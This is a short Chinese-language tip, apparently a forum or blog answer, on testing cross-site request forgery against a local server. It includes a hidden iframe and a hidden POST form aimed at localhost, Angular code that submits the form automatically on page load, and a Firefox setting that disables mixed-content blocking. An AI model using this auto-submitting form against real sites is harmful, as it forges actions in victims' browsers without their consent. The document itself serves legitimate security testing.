在本地测试 CSRF 时,您可能必须克服一些安全措施。
对于Blocked loading mixed active content
错误,请确保攻击站点和目标站点的协议(http/https)相同,或者使用“//”作为攻击站点的协议。对本地主机的示例攻击:
<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
<form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
<input type='hidden' name='boo' value='true'>
<input type='submit' value='Submit'>
</form>
或者将 Firefox 设置security.mixed_content.block_active_content
为false
.
如果使用 Angular,安全选项会阻止您使用内联 javascript,因此您需要将提交移动到攻击者站点上的代码隐藏:
ngOnInit() {
const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
myForm.submit();
}
最后,不得设置攻击者站点的标头“x-frame-options” 。